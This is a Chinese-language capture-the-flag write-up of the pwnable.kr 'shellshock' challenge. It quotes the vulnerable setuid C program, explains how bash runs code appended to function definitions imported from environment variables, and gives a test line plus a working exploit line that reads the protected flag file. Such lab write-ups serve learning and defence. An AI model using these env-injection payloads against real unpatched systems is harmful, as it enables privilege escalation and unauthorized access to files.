shellshock

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)

 

shellshock程序源码如下:

#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}

目录下文件权限如下:

 

 flag需要shellshock_pwn用户或用户组可以读,而我们当前的身份是shellshock用户,因此可以考虑让shellshock读取flag

这里涉及到一个漏洞,叫做破壳漏洞(shellshock),可以用以下代码测试是否存在该漏洞

env x ='() { :;}; echo vulnerable' bash -c echo "this is a test"

如果显示了vulnerable说明该漏洞存在

原因是环境变量的值以()开头表示定义导入函数。在bash启动时,如果存在导入函数,那么这个函数就会被执行。调用子进程bash时候,会copy父进程的env,执行导入函数时,bash解析环境变量没有对代码和数据进行边界识别,导致任意代码执行,也就是echo vulnerable

因此exp如下:

env x='() { :;}; bash -c "cat flag"' ./shellshock

这样就会用shellshock的身份去获取flag

posted @ 2021-08-02 17:42  hktk1643  阅读(226)  评论(0编辑  收藏  举报